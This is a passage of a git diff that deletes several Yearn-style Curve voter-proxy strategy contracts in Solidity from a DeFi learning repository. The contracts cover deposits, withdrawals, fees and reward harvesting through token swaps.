-        uint256 _balance = IERC20(want).balanceOf(address(this));
-        if (_balance < _amount) {
-            _amount = _withdrawSome(_amount.sub(_balance));
-            _amount = _amount.add(_balance);
-        }
-
-        uint256 _fee = _amount.mul(withdrawalFee).div(withdrawalMax);
-
-        IERC20(want).safeTransfer(IController(controller).rewards(), _fee);
-        address _vault = IController(controller).vaults(address(want));
-        require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds
-
-        IERC20(want).safeTransfer(_vault, _amount.sub(_fee));
-    }
-
-    // Withdraw all funds, normally used when migrating strategies
-    function withdrawAll() external returns (uint256 balance) {
-        require(msg.sender == controller, "!controller");
-        _withdrawAll();
-
-        balance = IERC20(want).balanceOf(address(this));
-
-        address _vault = IController(controller).vaults(address(want));
-        require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds
-        IERC20(want).safeTransfer(_vault, balance);
-    }
-
-    function _withdrawAll() internal {
-        IVoterProxy(proxy).withdrawAll(gauge, want);
-    }
-
-    function harvest() public {
-        require(msg.sender == strategist || msg.sender == governance, "!authorized");
-        IVoterProxy(proxy).harvest(gauge);
-        uint256 _crv = IERC20(crv).balanceOf(address(this));
-        if (_crv > 0) {
-            uint256 _keepCRV = _crv.mul(keepCRV).div(keepCRVMax);
-            IERC20(crv).safeTransfer(voter, _keepCRV);
-            _crv = _crv.sub(_keepCRV);
-
-            IERC20(crv).safeApprove(uni, 0);
-            IERC20(crv).safeApprove(uni, _crv);
-
-            address[] memory path = new address[](3);
-            path[0] = crv;
-            path[1] = weth;
-            path[2] = dai;
-
-            Uni(uni).swapExactTokensForTokens(_crv, uint256(0), path, address(this), now.add(1800));
-        }
-        uint256 _dai = IERC20(dai).balanceOf(address(this));
-        if (_dai > 0) {
-            IERC20(dai).safeApprove(ydai, 0);
-            IERC20(dai).safeApprove(ydai, _dai);
-            yERC20(ydai).deposit(_dai);
-        }
-        uint256 _ydai = IERC20(ydai).balanceOf(address(this));
-        if (_ydai > 0) {
-            IERC20(ydai).safeApprove(curve, 0);
-            IERC20(ydai).safeApprove(curve, _ydai);
-            ICurveFi(curve).add_liquidity([_ydai, 0, 0, 0], 0);
-        }
-        uint256 _want = IERC20(want).balanceOf(address(this));
-        if (_want > 0) {
-            uint256 _fee = _want.mul(performanceFee).div(performanceMax);
-            IERC20(want).safeTransfer(IController(controller).rewards(), _fee);
-            deposit();
-        }
-        IVoterProxy(proxy).lock();
-    }
-
-    function _withdrawSome(uint256 _amount) internal returns (uint256) {
-        return IVoterProxy(proxy).withdraw(gauge, want, _amount);
-    }
-
-    function balanceOfWant() public view returns (uint256) {
-        return IERC20(want).balanceOf(address(this));
-    }
-
-    function balanceOfPool() public view returns (uint256) {
-        return IVoterProxy(proxy).balanceOf(gauge);
-    }
-
-    function balanceOf() public view returns (uint256) {
-        return balanceOfWant().add(balanceOfPool());
-    }
-
-    function setGovernance(address _governance) external {
-        require(msg.sender == governance, "!governance");
-        governance = _governance;
-    }
-
-    function setController(address _controller) external {
-        require(msg.sender == governance, "!governance");
-        controller = _controller;
-    }
-}
diff --git a/Learn-DEFI-YFI/yearn-protocol/contracts/strategies/StrategyCurveCompoundVoterProxy.sol b/Learn-DEFI-YFI/yearn-protocol/contracts/strategies/StrategyCurveCompoundVoterProxy.sol
deleted file mode 100644
index 485f88e55..000000000
--- a/Learn-DEFI-YFI/yearn-protocol/contracts/strategies/StrategyCurveCompoundVoterProxy.sol
+++ /dev/null
@@ -1,202 +0,0 @@
-pragma solidity ^0.5.17;
-
-import "@openzeppelinV2/contracts/token/ERC20/IERC20.sol";
-import "@openzeppelinV2/contracts/math/SafeMath.sol";
-import "@openzeppelinV2/contracts/utils/Address.sol";
-import "@openzeppelinV2/contracts/token/ERC20/SafeERC20.sol";
-
-import "../../interfaces/yearn/IController.sol";
-import "../../interfaces/curve/Gauge.sol";
-import "../../interfaces/curve/Mintr.sol";
-import "../../interfaces/uniswap/Uni.sol";
-import "../../interfaces/curve/Curve.sol";
-import "../../interfaces/yearn/IToken.sol";
-import "../../interfaces/yearn/IVoterProxy.sol";
-
-contract StrategyCurveCompoundVoterProxy {
-    using SafeERC20 for IERC20;
-    using Address for address;
-    using SafeMath for uint256;
-
-    address public constant want = address(0x845838DF265Dcd2c412A1Dc9e959c7d08537f8a2);
-    address public constant crv = address(0xD533a949740bb3306d119CC777fa900bA034cd52);
-    address public constant uni = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
-    address public constant weth = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); // used for crv <> weth <> dai route
-
-    address public constant dai = address(0x6B175474E89094C44Da98b954EedeAC495271d0F);
-    address public constant curve = address(0xA2B47E3D5c44877cca798226B7B8118F9BFb7A56);
-
-    address public constant gauge = address(0x7ca5b0a2910B33e9759DC7dDB0413949071D7575);
-    address public constant voter = address(0xF147b8125d2ef93FB6965Db97D6746952a133934);
-
-    uint256 public keepCRV = 1500;
-    uint256 public performanceFee = 450;
-    uint256 public strategistReward = 50;
-    uint256 public withdrawalFee = 0;
-    uint256 public constant FEE_DENOMINATOR = 10000;
-
-    address public proxy;
-
-    address public governance;
-    address public controller;
-    address public strategist;
-
-    uint256 public earned; // lifetime strategy earnings denominated in `want` token
-
-    event Harvested(uint256 wantEarned, uint256 lifetimeEarned);
-
-    constructor(address _controller) public {
-        governance = msg.sender;
-        strategist = msg.sender;
-        controller = _controller;
-    }
-
-    function getName() external pure returns (string memory) {
-        return "StrategyCurveCompoundVoterProxy";
-    }
-
-    function setStrategist(address _strategist) external {
-        require(msg.sender == governance || msg.sender == strategist, "!authorized");
-        strategist = _strategist;
-    }
-
-    function setKeepCRV(uint256 _keepCRV) external {
-        require(msg.sender == governance, "!governance");
-        keepCRV = _keepCRV;
-    }
-
-    function setWithdrawalFee(uint256 _withdrawalFee) external {
-        require(msg.sender == governance, "!governance");
-        withdrawalFee = _withdrawalFee;
-    }
-
-    function setPerformanceFee(uint256 _performanceFee) external {
-        require(msg.sender == governance, "!governance");
-        performanceFee = _performanceFee;
-    }
-
-    function setStrategistReward(uint256 _strategistReward) external {
-        require(msg.sender == governance, "!governance");
-        strategistReward = _strategistReward;
-    }
-
-    function setProxy(address _proxy) external {
-        require(msg.sender == governance, "!governance");
-        proxy = _proxy;
-    }
-
-    function deposit() public {
-        uint256 _want = IERC20(want).balanceOf(address(this));
-        if (_want > 0) {
-            IERC20(want).safeTransfer(proxy, _want);
-            IVoterProxy(proxy).deposit(gauge, want);
-        }
-    }
-
-    // Controller only function for creating additional rewards from dust
-    function withdraw(IERC20 _asset) external returns (uint256 balance) {
-        require(msg.sender == controller, "!controller");
-        require(want != address(_asset), "want");
-        require(crv != address(_asset), "crv");
-        require(dai != address(_asset), "dai");
-        balance = _asset.balanceOf(address(this));
-        _asset.safeTransfer(controller, balance);
-    }
-
-    // Withdraw partial funds, normally used with a vault withdrawal
-    function withdraw(uint256 _amount) external {
-        require(msg.sender == controller, "!controller");
-        uint256 _balance = IERC20(want).balanceOf(address(this));
-        if (_balance < _amount) {
-            _amount = _withdrawSome(_amount.sub(_balance));
-            _amount = _amount.add(_balance);
-        }
-
-        uint256 _fee = _amount.mul(withdrawalFee).div(FEE_DENOMINATOR);
-
-        IERC20(want).safeTransfer(IController(controller).rewards(), _fee);
-        address _vault = IController(controller).vaults(address(want));
-        require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds
-        IERC20(want).safeTransfer(_vault, _amount.sub(_fee));
-    }
-
-    function _withdrawSome(uint256 _amount) internal returns (uint256) {
-        return IVoterProxy(proxy).withdraw(gauge, want, _amount);
-    }
-
-    // Withdraw all funds, normally used when migrating strategies
-    function withdrawAll() external returns (uint256 balance) {
-        require(msg.sender == controller, "!controller");
-        _withdrawAll();
-
-        balance = IERC20(want).balanceOf(address(this));
-
-        address _vault = IController(controller).vaults(address(want));
-        require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds
-        IERC20(want).safeTransfer(_vault, balance);
-    }
-
-    function _withdrawAll() internal {
-        IVoterProxy(proxy).withdrawAll(gauge, want);
-    }
-
-    function harvest() public {
-        require(msg.sender == strategist || msg.sender == governance, "!authorized");
-        IVoterProxy(proxy).harvest(gauge);
-        uint256 _crv = IERC20(crv).balanceOf(address(this));
-        if (_crv > 0) {
-            uint256 _keepCRV = _crv.mul(keepCRV).div(FEE_DENOMINATOR);
-            IERC20(crv).safeTransfer(voter, _keepCRV);
-            _crv = _crv.sub(_keepCRV);
-
-            IERC20(crv).safeApprove(uni, 0);
-            IERC20(crv).safeApprove(uni, _crv);
-
-            address[] memory path = new address[](3);
-            path[0] = crv;
-            path[1] = weth;
-            path[2] = dai;
-
-            Uni(uni).swapExactTokensForTokens(_crv, uint256(0), path, address(this), now.add(1800));
-        }
-        uint256 _dai = IERC20(dai).balanceOf(address(this));
-        if (_dai > 0) {
-            IERC20(dai).safeApprove(curve, 0);
-            IERC20(dai).safeApprove(curve, _dai);
-            ICurveFi(curve).add_liquidity([_dai, 0, 0], 0);
-        }
-        uint256 _want = IERC20(want).balanceOf(address(this));
-        if (_want > 0) {
-            uint256 _fee = _want.mul(performanceFee).div(FEE_DENOMINATOR);
-            uint256 _reward = _want.mul(strategistReward).div(FEE_DENOMINATOR);
-            IERC20(want).safeTransfer(IController(controller).rewards(), _fee);
-            IERC20(want).safeTransfer(strategist, _reward);
-            deposit();
-        }
-        IVoterProxy(proxy).lock();
-        earned = earned.add(_want);
-        emit Harvested(_want, earned);
-    }
-
-    function balanceOfWant() public view returns (uint256) {
-        return IERC20(want).balanceOf(address(this));
-    }
-
-    function balanceOfPool() public view returns (uint256) {
-        return IVoterProxy(proxy).balanceOf(gauge);
-    }
-
-    function balanceOf() public view returns (uint256) {
-        return balanceOfWant().add(balanceOfPool());
-    }
-
-    function setGovernance(address _governance) external {
-        require(msg.sender == governance, "!governance");
-        governance = _governance;
-    }
-
-    function setController(address _controller) external {
-        require(msg.sender == governance, "!governance");
-        controller = _controller;
-    }
-}
diff --git a/Learn-DEFI-YFI/yearn-protocol/contracts/strategies/StrategyCurveEURVoterProxy.sol b/Learn-DEFI-YFI/yearn-protocol/contracts/strategies/StrategyCurveEURVoterProxy.sol
deleted file mode 100644
index 19fddd194..000000000
--- a/Learn-DEFI-YFI/yearn-protocol/contracts/strategies/StrategyCurveEURVoterProxy.sol
+++ /dev/null
@@ -1,250 +0,0 @@
-// SPDX-License-Identifier: AGPL-3.0
-
-pragma solidity ^0.5.17;
-
-import "@openzeppelinV2/contracts/token/ERC20/IERC20.sol";
-import "@openzeppelinV2/contracts/math/SafeMath.sol";
-import "@openzeppelinV2/contracts/utils/Address.sol";
-import "@openzeppelinV2/contracts/token/ERC20/SafeERC20.sol";
-
-import "../../interfaces/yearn/IController.sol";
-import "../../interfaces/curve/Gauge.sol";
-import "../../interfaces/curve/Mintr.sol";
-import "../../interfaces/uniswap/Uni.sol";
-import "../../interfaces/curve/Curve.sol";
-import "../../interfaces/yearn/IVoterProxy.sol";
-
-contract StrategyCurveEURVoterProxy {
-    using SafeERC20 for IERC20;
-    using Address for address;
-    using SafeMath for uint256;
-
-    address public constant want = address(0x194eBd173F6cDacE046C53eACcE9B953F28411d1);
-    address public constant crv = address(0xD533a949740bb3306d119CC777fa900bA034cd52);
-
-    address public constant curve = address(0x0Ce6a5fF5217e38315f87032CF90686C96627CAA);
-    address public constant gauge = address(0x90Bb609649E0451E5aD952683D64BD2d1f245840);
-    address public constant voter = address(0xF147b8125d2ef93FB6965Db97D6746952a133934);
-
-    address public constant uniswap = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
-    address public constant sushiswap = address(0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F);
-    address public constant eurs = address(0xdB25f211AB05b1c97D595516F45794528a807ad8);
-    address public constant usdc = address(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
-    address public constant weth = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); // used for crv <> weth <> usdc <> eurs route
-    address public constant snx = address(0xC011a73ee8576Fb46F5E1c5751cA3B9Fe0af2a6F);
-
-    uint256 public keepCRV = 1000;
-    uint256 public treasuryFee = 1000;
-    uint256 public strategistReward = 1000;
-    uint256 public withdrawalFee = 50;
-    uint256 public constant FEE_DENOMINATOR = 10000;
-
-    address public proxy;
-    address public dex;
-
-    address public governance;
-    address public controller;
-    address public strategist;
-    address public keeper;
-
-    uint256 public earned; // lifetime strategy earnings denominated in `want` token
-
-    event Harvested(uint256 wantEarned, uint256 lifetimeEarned);
-
-    constructor(address _controller) public {
-        governance = msg.sender;
-        strategist = msg.sender;
-        keeper = msg.sender;
-        controller = _controller;
-        // standardize constructor
-        proxy = address(0x9a3a03C614dc467ACC3e81275468e033c98d960E);
-        dex = sushiswap;
-    }
-
-    function getName() external pure returns (string memory) {
-        return "StrategyCurveEURVoterProxy";
-    }
-
-    function setStrategist(address _strategist) external {
-        require(msg.sender == strategist || msg.sender == governance, "!authorized");
-        strategist = _strategist;
-    }
-
-    function setKeeper(address _keeper) external {
-        require(msg.sender == strategist || msg.sender == governance, "!authorized");
-        keeper = _keeper;
-    }
-
-    function setKeepCRV(uint256 _keepCRV) external {
-        require(msg.sender == governance, "!governance");
-        keepCRV = _keepCRV;
-    }
-
-    function setWithdrawalFee(uint256 _withdrawalFee) external {
-        require(msg.sender == governance, "!governance");
-        withdrawalFee = _withdrawalFee;
-    }
-
-    function setTreasuryFee(uint256 _treasuryFee) external {
-        require(msg.sender == governance, "!governance");
-        treasuryFee = _treasuryFee;
-    }
-
-    function setStrategistReward(uint256 _strategistReward) external {
-        require(msg.sender == governance, "!governance");
-        strategistReward = _strategistReward;
-    }
-
-    function setProxy(address _proxy) external {
-        require(msg.sender == governance, "!governance");
-        proxy = _proxy;
-    }
-
-    function switchDex(bool isUniswap) external {
-        require(msg.sender == strategist || msg.sender == governance, "!authorized");
-        if (isUniswap) {
-            dex = uniswap;
-        } else {
-            dex = sushiswap;
-        }
-    }
-
-    function deposit() public {
-        uint256 _want = IERC20(want).balanceOf(address(this));
-        if (_want > 0) {
-            IERC20(want).safeTransfer(proxy, _want);
-            IVoterProxy(proxy).deposit(gauge, want);
-        }
-    }
-
-    // Controller only function for creating additional rewards from dust
-    function withdraw(IERC20 _asset) external returns (uint256 balance) {
-        require(msg.sender == controller, "!controller");
-        require(want != address(_asset), "want");
-        require(crv != address(_asset), "crv");
-        require(eurs != address(_asset), "eurs");
-        balance = _asset.balanceOf(address(this));
-        _asset.safeTransfer(controller, balance);
-    }
-
-    // Withdraw partial funds, normally used with a vault withdrawal
-    function withdraw(uint256 _amount) external {
-        require(msg.sender == controller, "!controller");
-        uint256 _balance = IERC20(want).balanceOf(address(this));
-        if (_balance < _amount) {
-            _amount = _withdrawSome(_amount.sub(_balance));
-            _amount = _amount.add(_balance);
-        }
-
-        uint256 _fee = _amount.mul(withdrawalFee).div(FEE_DENOMINATOR);
-
-        IERC20(want).safeTransfer(IController(controller).rewards(), _fee);
-        address _vault = IController(controller).vaults(address(want));
-        require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds
-        IERC20(want).safeTransfer(_vault, _amount.sub(_fee));
-    }
-
-    function _withdrawSome(uint256 _amount) internal returns (uint256) {
-        return IVoterProxy(proxy).withdraw(gauge, want, _amount);
-    }
-
-    // Withdraw all funds, normally used when migrating strategies
-    function withdrawAll() external returns (uint256 balance) {
-        require(msg.sender == controller, "!controller");
-        _withdrawAll();
-
-        balance = IERC20(want).balanceOf(address(this));
-
-        address _vault = IController(controller).vaults(address(want));
-        require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds
-        IERC20(want).safeTransfer(_vault, balance);
-    }
-
-    function _withdrawAll() internal {
-        IVoterProxy(proxy).withdrawAll(gauge, want);
-    }
-
-    function harvest() public {
-        require(msg.sender == keeper || msg.sender == strategist || msg.sender == governance, "!keepers");
-        IVoterProxy(proxy).harvest(gauge);
-        uint256 _crv = IERC20(crv).balanceOf(address(this));
-        if (_crv > 0) {
-            uint256 _keepCRV = _crv.mul(keepCRV).div(FEE_DENOMINATOR);
-            IERC20(crv).safeTransfer(voter, _keepCRV);
-            _crv = _crv.sub(_keepCRV);
-
-            IERC20(crv).safeApprove(dex, 0);
-            IERC20(crv).safeApprove(dex, _crv);
-
-            address[] memory path = new address[](3);
-            path[0] = crv;
-            path[1] = weth;
-            path[2] = usdc;
-
-            Uni(dex).swapExactTokensForTokens(_crv, uint256(0), path, address(this), now.add(1800));
-        }
-        IVoterProxy(proxy).claimRewards(gauge, snx);
-        uint256 _snx = IERC20(snx).balanceOf(address(this));
-        if (_snx > 0) {
-            IERC20(snx).safeApprove(dex, 0);
-            IERC20(snx).safeApprove(dex, _snx);
-
-            address[] memory path = new address[](3);
-            path[0] = snx;
-            path[1] = weth;
-            path[2] = usdc;
-
-            Uni(dex).swapExactTokensForTokens(_snx, uint256(0), path, address(this), now.add(1800));
-        }
-        uint256 _usdc = IERC20(usdc).balanceOf(address(this));
-        if (_usdc > 0) {
-            IERC20(usdc).safeApprove(uniswap, 0);
-            IERC20(usdc).safeApprove(uniswap, _snx);
-
-            address[] memory path = new address[](2);
-            path[0] = usdc;
-            path[1] = eurs;
-
-            Uni(uniswap).swapExactTokensForTokens(_usdc, uint256(0), path, address(this), now.add(1800));
-        }
-        uint256 _eurs = IERC20(eurs).balanceOf(address(this));
-        if (_eurs > 0) {
-            IERC20(eurs).safeApprove(curve, 0);
-            IERC20(eurs).safeApprove(curve, _eurs);
-            ICurveFi(curve).add_liquidity([_eurs, 0], 0);
-        }
-        uint256 _want = IERC20(want).balanceOf(address(this));
-        if (_want > 0) {
-            uint256 _fee = _want.mul(treasuryFee).div(FEE_DENOMINATOR);
-            uint256 _reward = _want.mul(strategistReward).div(FEE_DENOMINATOR);
-            IERC20(want).safeTransfer(IController(controller).rewards(), _fee);
-            IERC20(want).safeTransfer(strategist, _reward);
-            deposit();
-        }
-        IVoterProxy(proxy).lock();
-        earned = earned.add(_want);
-        emit Harvested(_want, earned);
-    }
-
-    function balanceOfWant() public view returns (uint256) {
-        return IERC20(want).balanceOf(address(this));
-    }
-
-    function balanceOfPool() public view returns (uint256) {
-        return IVoterProxy(proxy).balanceOf(gauge);
-    }
-
-    function balanceOf() public view returns (uint256) {
-        return balanceOfWant().add(balanceOfPool());
-    }
-
-    function setGovernance(address _governance) external {
-        require(msg.sender == governance, "!governance");
-        governance = _governance;
-    }
-
-    function setController(address _controller) external {
-        require(msg.sender == governance, "!governance");
-        controller = _controller;
-    }
-}
diff --git a/Learn-DEFI-YFI/yearn-protocol/contracts/strategies/StrategyCurveGUSDVoterProxy.sol b/Learn-DEFI-YFI/yearn-protocol/contracts/strategies/StrategyCurveGUSDVoterProxy.sol
deleted file mode 100644
index 9a96cdeb0..000000000
--- a/Learn-DEFI-YFI/yearn-protocol/contracts/strategies/StrategyCurveGUSDVoterProxy.sol
+++ /dev/null
@@ -1,224 +0,0 @@
-// SPDX-License-Identifier: MIT
-
-pragma solidity ^0.5.17;
-
-import "@openzeppelinV2/contracts/token/ERC20/IERC20.sol";
-import "@openzeppelinV2/contracts/math/SafeMath.sol";
-import "@openzeppelinV2/contracts/utils/Address.sol";
-import "@openzeppelinV2/contracts/token/ERC20/SafeERC20.sol";
-
-import "../../interfaces/yearn/IController.sol";
-import "../../interfaces/curve/Gauge.sol";
-import "../../interfaces/curve/Mintr.sol";
-import "../../interfaces/uniswap/Uni.sol";
-import "../../interfaces/curve/Curve.sol";
-import "../../interfaces/yearn/IVoterProxy.sol";
-
-contract StrategyCurveGUSDVoterProxy {
-    using SafeERC20 for IERC20;
-    using Address for address;
-    using SafeMath for uint256;
-
-    address public constant want = address(0xD2967f45c4f384DEEa880F807Be904762a3DeA07);
-    address public constant crv = address(0xD533a949740bb3306d119CC777fa900bA034cd52);
-
-    address public constant curve = address(0x0aE274c98c0415C0651AF8cF52b010136E4a0082);
-    address public constant gauge = address(0xC5cfaDA84E902aD92DD40194f0883ad49639b023);
-    address public constant voter = address(0xF147b8125d2ef93FB6965Db97D6746952a133934);
-
-    address public constant uniswap = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
-    address public constant sushiswap = address(0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F);
-    address public constant dai = address(0x6B175474E89094C44Da98b954EedeAC495271d0F);
-    address public constant weth = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); // used for crv <> weth <> dai route
-
-    uint256 public keepCRV = 1000;
-    uint256 public treasuryFee = 1000;
-    uint256 public strategistReward = 1000;
-    uint256 public withdrawalFee = 0;
-    uint256 public constant FEE_DENOMINATOR = 10000;
-
-    address public proxy;
-    address public dex;
-
-    address public governance;
-    address public controller;
-    address public strategist;
-    address public keeper;
-
-    uint256 public earned; // lifetime strategy earnings denominated in `want` token
-
-    event Harvested(uint256 wantEarned, uint256 lifetimeEarned);
-
-    constructor(address _controller) public {
-        governance = msg.sender;
-        strategist = msg.sender;
-        keeper = msg.sender;
-        controller = _controller;
-        // standardize constructor
-        proxy = address(0xC17ADf949f524213a540609c386035D7D685B16F);
-        dex = sushiswap;
-    }
-
-    function getName() external pure returns (string memory) {
-        return "StrategyCurveGUSDVoterProxy";
-    }
-
-    function setStrategist(address _strategist) external {
-        require(msg.sender == strategist || msg.sender == governance, "!authorized");
-        strategist = _strategist;
-    }
-
-    function setKeeper(address _keeper) external {
-        require(msg.sender == strategist || msg.sender == governance, "!authorized");
-        keeper = _keeper;
-    }
-
-    function setKeepCRV(uint256 _keepCRV) external {
-        require(msg.sender == governance, "!governance");
-        keepCRV = _keepCRV;
-    }
-
-    function setWithdrawalFee(uint256 _withdrawalFee) external {
-        require(msg.sender == governance, "!governance");
-        withdrawalFee = _withdrawalFee;
-    }
-
-    function setTreasuryFee(uint256 _treasuryFee) external {
-        require(msg.sender == governance, "!governance");
-        treasuryFee = _treasuryFee;
-    }
-
-    function setStrategistReward(uint256 _strategistReward) external {
-        require(msg.sender == governance, "!governance");
-        strategistReward = _strategistReward;
-    }
-
-    function setProxy(address _proxy) external {
-        require(msg.sender == governance, "!governance");
-        proxy = _proxy;
-    }
-
-    function switchDex(bool isUniswap) external {
-        require(msg.sender == strategist || msg.sender == governance, "!authorized");
-        if (isUniswap) {
-            dex = uniswap;
-        } else {
-            dex = sushiswap;
-        }
-    }
-
-    function deposit() public {
-        uint256 _want = IERC20(want).balanceOf(address(this));
-        if (_want > 0) {
-            IERC20(want).safeTransfer(proxy, _want);
-            IVoterProxy(proxy).deposit(gauge, want);
-        }
-    }
-
-    // Controller only function for creating additional rewards from dust
-    function withdraw(IERC20 _asset) external returns (uint256 balance) {
-        require(msg.sender == controller, "!controller");
-        require(want != address(_asset), "want");
-        require(crv != address(_asset), "crv");
-        require(dai != address(_asset), "dai");
-        balance = _asset.balanceOf(address(this));
-        _asset.safeTransfer(controller, balance);
-    }
-
-    // Withdraw partial funds, normally used with a vault withdrawal
-    function withdraw(uint256 _amount) external {
-        require(msg.sender == controller, "!controller");
-        uint256 _balance = IERC20(want).balanceOf(address(this));
-        if (_balance < _amount) {
-            _amount = _withdrawSome(_amount.sub(_balance));
-            _amount = _amount.add(_balance);
-        }
-
-        uint256 _fee = _amount.mul(withdrawalFee).div(FEE_DENOMINATOR);
-
-        IERC20(want).safeTransfer(IController(controller).rewards(), _fee);
-        address _vault = IController(controller).vaults(address(want));
-        require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds
-        IERC20(want).safeTransfer(_vault, _amount.sub(_fee));
-    }
-
-    function _withdrawSome(uint256 _amount) internal returns (uint256) {
-        return IVoterProxy(proxy).withdraw(gauge, want, _amount);
-    }
-
-    // Withdraw all funds, normally used when migrating strategies
-    function withdrawAll() external returns (uint256 balance) {
-        require(msg.sender == controller, "!controller");
-        _withdrawAll();
-
-        balance = IERC20(want).balanceOf(address(this));
-
-        address _vault = IController(controller).vaults(address(want));
-        require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds
-        IERC20(want).safeTransfer(_vault, balance);
-    }
-
-    function _withdrawAll() internal {
-        IVoterProxy(proxy).withdrawAll(gauge, want);
-    }
-
-    function harvest() public {
-        require(msg.sender == keeper || msg.sender == strategist || msg.sender == governance, "!keepers");
-        IVoterProxy(proxy).harvest(gauge);
-        uint256 _crv = IERC20(crv).balanceOf(address(this));
-        if (_crv > 0) {
-            uint256 _keepCRV = _crv.mul(keepCRV).div(FEE_DENOMINATOR);
-            IERC20(crv).safeTransfer(voter, _keepCRV);
-            _crv = _crv.sub(_keepCRV);
-
-            IERC20(crv).safeApprove(dex, 0);
-            IERC20(crv).safeApprove(dex, _crv);
-
-            address[] memory path = new address[](3);
-            path[0] = crv;
-            path[1] = weth;
-            path[2] = dai;
-
-            Uni(dex).swapExactTokensForTokens(_crv, uint256(0), path, address(this), now.add(1800));
-        }
-        uint256 _dai = IERC20(dai).balanceOf(address(this));
-        if (_dai > 0) {
-            IERC20(dai).safeApprove(curve, 0);
-            IERC20(dai).safeApprove(curve, _dai);
-            ICurveFi(curve).add_liquidity([0, _dai, 0, 0], 0);
-        }
-        uint256 _want = IERC20(want).balanceOf(address(this));
-        if (_want > 0) {
-            uint256 _fee = _want.mul(treasuryFee).div(FEE_DENOMINATOR);
-            uint256 _reward = _want.mul(strategistReward).div(FEE_DENOMINATOR);
-            IERC20(want).safeTransfer(IController(controller).rewards(), _fee);
-            IERC20(want).safeTransfer(strategist, _reward);
-            deposit();
-        }
-        IVoterProxy(proxy).lock();
-        earned = earned.add(_want);
-        emit Harvested(_want, earned);
-    }
-
-    function balanceOfWant() public view returns (uint256) {
-        return IERC20(want).balanceOf(address(this));
-    }
-
-    function balanceOfPool() public view returns (uint256) {
-        return IVoterProxy(proxy).balanceOf(gauge);
-    }
-
-    function balanceOf() public view returns (uint256) {
-        return balanceOfWant().add(balanceOfPool());
-    }
-
-    function setGovernance(address _governance) external {
-        require(msg.sender == governance, "!governance");
-        governance = _governance;
-    }
-
-    function setController(address _controller) external {
-        require(msg.sender == governance, "!governance");
-        controller = _controller;
-    }
-}
diff --git a/Learn-DEFI-YFI/yearn-protocol/contracts/strategies/StrategyCurveRENVoterProxy.sol b/Learn-DEFI-YFI/yearn-protocol/contracts/strategies/StrategyCurveRENVoterProxy.sol
deleted file mode 100644
index 5b3c0d19c..000000000
--- a/Learn-DEFI-YFI/yearn-protocol/contracts/strategies/StrategyCurveRENVoterProxy.sol
+++ /dev/null
@@ -1,224 +0,0 @@
-// SPDX-License-Identifier: AGPL-3.0
-
-pragma solidity ^0.5.17;
-
-import "@openzeppelinV2/contracts/token/ERC20/IERC20.sol";
-import "@openzeppelinV2/contracts/math/SafeMath.sol";
-import "@openzeppelinV2/contracts/utils/Address.sol";
-import "@openzeppelinV2/contracts/token/ERC20/SafeERC20.sol";
-
-import "../../interfaces/yearn/IController.sol";
-import "../../interfaces/curve/Gauge.sol";
-import "../../interfaces/curve/Mintr.sol";
-import "../../interfaces/uniswap/Uni.sol";
-import "../../interfaces/curve/Curve.sol";
-import "../../interfaces/yearn/IVoterProxy.sol";
-
-contract StrategyCurveRENVoterProxy {
-    using SafeERC20 for IERC20;
-    using Address for address;
-    using SafeMath for uint256;
-
-    address public constant want = address(0x49849C98ae39Fff122806C06791Fa73784FB3675);
-    address public constant crv = address(0xD533a949740bb3306d119CC777fa900bA034cd52);
-
-    address public constant curve = address(0x93054188d876f558f4a66B2EF1d97d16eDf0895B);
-    address public constant gauge = address(0xB1F2cdeC61db658F091671F5f199635aEF202CAC);
-    address public constant voter = address(0xF147b8125d2ef93FB6965Db97D6746952a133934);
-
-    address public constant uniswap = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
-    address public constant sushiswap = address(0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F);
-    address public constant wbtc = address(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599);
-    address public constant weth = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); // used for crv <> weth <> wbtc route
-
-    uint256 public keepCRV = 1000;
-    uint256 public treasuryFee = 1000;
-    uint256 public strategistReward = 1000;
-    uint256 public withdrawalFee = 0;
-    uint256 public constant FEE_DENOMINATOR = 10000;
-
-    address public proxy;
-    address public dex;
-
-    address public governance;
-    address public controller;
-    address public strategist;
-    address public keeper;
-
-    uint256 public earned; // lifetime strategy earnings denominated in `want` token
-
-    event Harvested(uint256 wantEarned, uint256 lifetimeEarned);
-
-    constructor(address _controller) public {
-        governance = msg.sender;
-        strategist = msg.sender;
-        keeper = msg.sender;
-        controller = _controller;
-        // standardize constructor
-        proxy = address(0xC17ADf949f524213a540609c386035D7D685B16F);
-        dex = sushiswap;
-    }
-
-    function getName() external pure returns (string memory) {
-        return "StrategyCurveRENVoterProxy";
-    }
-
-    function setStrategist(address _strategist) external {
-        require(msg.sender == strategist || msg.sender == governance, "!authorized");
-        strategist = _strategist;
-    }
-
-    function setKeeper(address _keeper) external {
-        require(msg.sender == strategist || msg.sender == governance, "!authorized");
-        keeper = _keeper;
-    }
-
-    function setKeepCRV(uint256 _keepCRV) external {
-        require(msg.sender == governance, "!governance");
-        keepCRV = _keepCRV;
-    }
-
-    function setWithdrawalFee(uint256 _withdrawalFee) external {
-        require(msg.sender == governance, "!governance");
-        withdrawalFee = _withdrawalFee;
-    }
-
-    function setTreasuryFee(uint256 _treasuryFee) external {
-        require(msg.sender == governance, "!governance");
-        treasuryFee = _treasuryFee;
-    }
-
-    function setStrategistReward(uint256 _strategistReward) external {
-        require(msg.sender == governance, "!governance");
-        strategistReward = _strategistReward;
-    }
-
-    function setProxy(address _proxy) external {
-        require(msg.sender == governance, "!governance");
-        proxy = _proxy;
